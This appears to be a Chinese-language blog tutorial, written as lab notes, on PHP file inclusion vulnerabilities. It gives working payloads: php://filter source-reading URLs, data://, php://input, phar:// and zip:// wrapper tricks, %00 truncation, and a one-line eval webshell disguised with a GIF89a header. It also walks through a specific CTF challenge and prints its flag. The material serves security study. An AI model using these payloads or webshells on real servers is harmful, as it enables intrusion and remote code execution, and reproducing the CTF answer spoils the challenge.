Web漏洞之文件包含漏洞_在web漏洞中,文件包含漏洞经常配合文件上传漏洞使用。在php语言中,下列哪些函数可-CSDN博客
php允许文件间的互相引用,可以在php文件里面使用include,一般来说,引用的东西应该在同一个目录里面,所以可以使用相对路径来引用——include "2.php"
开发人员为了提升效率,采用文件包含的函数,由于php语言提供的文件包含功能过于强大,所以大部分的文件包含漏洞都出现在php程序之中
当被包含的文件在服务器本地时,就形成本地文件包含漏洞;当包含的文件在远程服务端的时候,就会形成远程文件包含漏洞,本地文件包含是指被包含的文件在本地,可以直接通过文件名或文件夹名+文件名来引用包含,远程文件则需使用如 include"https://baidu.com/nosery"
php本地文件包含默认允许,远程包含默认不允许,如果要包含的话,要去开启一个配置:
php5.6.40.ini 里面的 allow_url_include=on 即可
然后重启phpstudy,但在实战中,一般实现不了,因为一般情况下,运营商,网站等不会主动开启远程文件包含的功能
文件包含在php中涉及的函数有四个,设计的初衷是为了提高效率,函数分别是:
include() | 找不到被包含的文件时只产生警告 ,脚本将继续执行 |
include_once() | 此语句和 include() 语句类似,区别是如果该文件中的代码已经被包含,则不会再次包含 |
require() | 找不到被包含的文件时会产生致命错误 ,并停止脚本 |
require_once() | 此语句和 require()语句类似,区别是如果该文件中的代码已经被包含,则不会再次包含 |
漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的恶意代码
//php的注释符有#,//和/**/
<?php
$filename=$_GET['filename']; #文件名等于GET传输的filename
include($filename); #对文件名进行包含
?>
#此时的filename是GET传输的,也就是说,传参传什么都可以,属于我们可控的范围
在文件夹uploads_lab里面找到www文件夹,uploadlab文件夹,找到include.php,审计如下:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file']; //file是GET传参,传输一个参数
if(isset($file)){ //然后进行判断,看这个文件有没有,有的话,则包含这个文件
include $file;
}else{
show_source(__file__); //如果没有的话,则 show_source
}
//一般来说,服务端语言不会显示在页面上,show_source即可将源码显示出来
?>
上述代码中的File是可控的,Linux系统和Mac,就会有etc/password的文件夹,Windows则没有该文件夹,但也可在Windows下的根目录,随便找个文件,然后放到Hackbar里面的URL里面,也可以访问;也可在fofa里面找一个这个靶场,在include.php里面也可以找一下——此处主要是为了证明在该网站里面能够读文件,没有什么神奇的地方,可以将文件完全copy过来,展示出来
etc/password是Linux下的一个配置文件,标明了Linux系统下的所有用户,是个纯文本文件,不是php文件,所以能够明文展示
- 文件包含可以读取一个文本文件,可以通过在URL后面加上etc/password来测试一下是否存在文件包含
- 文件包含,包含了图片码去getshell,包含一切文件,无论什么类型的文件被包含之后,均按照php进行解析,和文件上传时的Apache的.hex文件比较像(可以将.jpg按照php进行解析)
以.jpg上传的一句话木马,如果发现跟include.php同级的话,可以直接复制到当前URL的file=后面
文件包含的内涵就是把被包含的文件的内容复制过来
测试文件包含漏洞是否存在——访问一些配置文件
在include.php后面加?file=/etc/password去访问一些配置文件,如果有的话,大概率就是文件包含漏洞,也可能是任意文件读取漏洞
如果网站含有一个上传功能和一个文件包含功能————通过文件上传一个图片码,然后通过文件包含包含该图片码,就会成功getshell,即使文件上传过滤得很严格也是可行的
漏洞挖掘
实战中,文件包含漏洞的挖掘的方法
- 纯黑盒挖掘——看URL的链接,如果里面含有?file=xxxx,可以试一下访问一些配置文件,如Linux下的/etc/password(Windows在c盘下也有一些配置文件)黑盒测试经验很重要,因为漏洞类型不明确,测试漏洞的时候就要结合功能和URL传参去试
- 可以代码审计——代码确定包含某文件,此时其实是改不了的,看本页包含的文件里面是否含有可控制值,如果传参是GET型,就可以控制该值的传参,要跟踪跳转,去寻找代码逻辑上的缺陷是什么,然后根据缺陷去攻击
文件包含漏洞的在比赛中很重要
伪协议
文件包含漏洞的危害之所以那么大,除了可以配合图片码去getshell,还可以和伪协议配合
文件包含常用伪协议filter
php://输入输出流
php提供了一些杂项的输入输出(IO)流,允许访问php的输入输出流,标准输入输出和错误描述符,内存中,磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
上述协议被创造者命名为伪协议,访问磁盘文件时,是以流的形式进行访问和操作的
php://filter(本地磁盘文件进行读取)
index.php?file=php://filter/convert.base64-encode/resource=xxx.php
convert是转换的意思,将php转换为based4编码,源码为xxx.php
也就是将源文件进行base64编码,然后以流的形式带出来————php的协议都是流的形式
带出来的内容最后进行一次base64解码就可以获得该文件的内容了
index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
编码&加密
base64是编码,而不是加密,加密之后的内容不可逆,也就是说,加密之后的密文不能反推回明文,编码的话,是为了传递信息的,随便都可以解码,在计算机中,容易误码或者乱码的时候就可以采用编码
此协议用于本地文件读取,需要开启allow_url_fopen(默认开启的),不需要开启allow_url_include(远程包含,需要手动开启)
相对路径访问文件的时候,若文件不在现在的目录下,可以使用
index.php?file=../xxx.php
来直接在当前页面下进行访问
作业的话,已知谁读谁——也就是说,已知哪个文件就可以直接在URL后面加——?file=已知的文件目录,绝对路径和相对路径均可,源码里面会包含flag,读的方式参考上文
index.php?file=php://filter/covert.base64_encode/resource=
上述 php://filter 适用于读取php原码,用这种方法读取etc/password没有意义
因为etc/password本身就是纯文本,使用base64编码带出没有意义
作业
URL为:http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
然后读取etc/password,发现页面变化————此时网站存在过滤
http://4.chinalover.sinaapp.com/web7/index.php?file=../../etc/password
使用file=php://filter/将文件编码带出——此时显示的是test123的base64编码
http://4.chinalover.sinaapp.com/web7/index.php
?file=php://filter/convert.base64-encode/resource=show.php
此时可以发现在URL里面还有个index.php————根据“已知谁读谁”的原则,读取index.php
http://4.chinalover.sinaapp.com/web7/index.php
?file=php://filter/convert.base64-encode/resource=index.php
获得一串base64码,解码之后即可得到flag
解码:将base64码复制到hackbar框,点击encoding,base64 encode,即可解码
作业代码
<html>
<title>asdf</title>
<?php
error_reporting(0); //降低敏感性,使其尽量少报错
if(!$_GET[file])
{echo '<a href="./index.php?file=show.php">click me? no</a>';}
#如果文件存在,点击click me? no,就会跳转到./index.php?file=show.php
$file=$_GET['file']; //GET传参一个file
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))
{
//stristr————查找某字符串在目标里是否存在,存在则返回该字符串及后面的字符
//如果传参里面有../,"tp","input","data"
echo "Oh no!"; //就会输出个"Oh no!",然后直接退出程序
exit();
}
include($file); //如果不满足上述退出条件,就包含file文件
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
data和input伪协议
php://input——访问数据的只读流,读取POST上没有经过解析的数据
最简单的data协议的使用
可以访问请求的原始数据的只读流,即可以直接读取到POST上,没有经过解析的原始的数据
entype="multipart/form-data"的时候php://input是无效的
?file=php://input 数据利用POST传过去——也就是说,URL后面传参的话,传?file=php://input 之后,在hackbar的下面的位置点击Post data传输的数据就会被php://input伪协议接收
php写的文件直接执行为网页
将php代码保存,然后放到之前搭建的本地网站的WWW目录,然后执行就可以了,可以建立一个demo文件夹,专门放测试的小程序——不能使用中文
data://伪协议
数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控的输入流当中,简单来说就是执行文件的包含方法中包含了你的输入流,通过你输入的payload来实现目的
功能和input协议一模一样,都是以流的形式读文件,但用法略有区别:data伪协议的用法为——?user=data://text/plain;base64,MTIz
data为伪协议,text/plain是将文件设置为纯文本,通常浏览器读到这种文件,不会进行处理,base64后面跟需要传参的数据编码之后的结果——也可以明文传参:data://text/plain;123
最简化写为——index.php?file=data:
文件包含phar和zip伪协议
phar://伪协议
这个参数就是php解压包的一个函数,不管后缀是什么,都会当作压缩包来解压
用法:index.php?file=phar://压缩包/内部文件,eg:phar://xxx.png/shell.php
注意:PHP的版本要高于5.3.0,压缩包必须要是zip,rar不行,将木马文件压缩之后,改为其他任意的文件都可以正常使用
步骤:写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip——右键压缩为zip文件,然后重命名为jpg(本质为压缩包,只是后缀为jpg),然后将后缀名改为png等其他格式,然后使用phar协议去解压缩
在上传靶场的第一关,浏览上传该文件,在浏览器里面传参?file=./shell.jpg,然后页面就会显示一些内容,然后开始解压缩提权——?file=phar://upload-lab-lab/shell.jpg/shell.php,然后就会显示php的版本信息等内容,然后Post data框执行命令——一句话木马里面的传参=system("ls");或者一句话木马里面的传参=system("whoami")
该解压缩操作不会在对方服务器中产生实际的文件
phar协议在存在文件上传点的网站中,不是特别好用——因为可以上传shell.jpg,然后上传,再包含就会getshell了,但在一些特殊情况下则会很有用
静态HTML是没有漏洞的,除了一些CSS库可能会存在漏洞
文件包含里面以.php为结尾的攻击手法——phar伪协议,也就是在作业中,可以在基本输入的基础上去掉 .php,作业URL连接蚁剑可包含木马文件,测试连接的时候仍旧不用写 .php
进网页先看一下都有啥,很多情况下,传参不是 .php的,都会有个文件包含:include($page,'.php'),默认加了.php的可以加%00,在操作系统层面上就可以截断后面的东西,接着包含图片码就可以getshell了,报错的话——就是图片码有问题,很有可能过滤了<>,可以试一下变形码
GIF89a
<script language="php">@eval($_POST['cmd']);phpinfo();</script>
//<?php @eval($_POST[w]);?>
检测到未使用尖括号等,文件包含查询之后,就会直接显示flag
zip://伪协议
zip伪协议和phar伪协议类似,但用法不一样
用法:index.php?file=zip://[压缩文件的绝对路径]#[压缩文件内的子文件名],eg:zip://xxx.png#shell.php
条件:PHP的版本要高于5.3.0,在Windows下测试,PHP的版本要在3.0到5.4之间才可以,#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符
包含日志拿shell
大多数的linux的日志文件默认存放在/var/log/文件夹里面,nginx的默认放在/var/log/nginx里面
看apach还是nginx,抓包,放到repeater,go一下可以看到服务协议是什么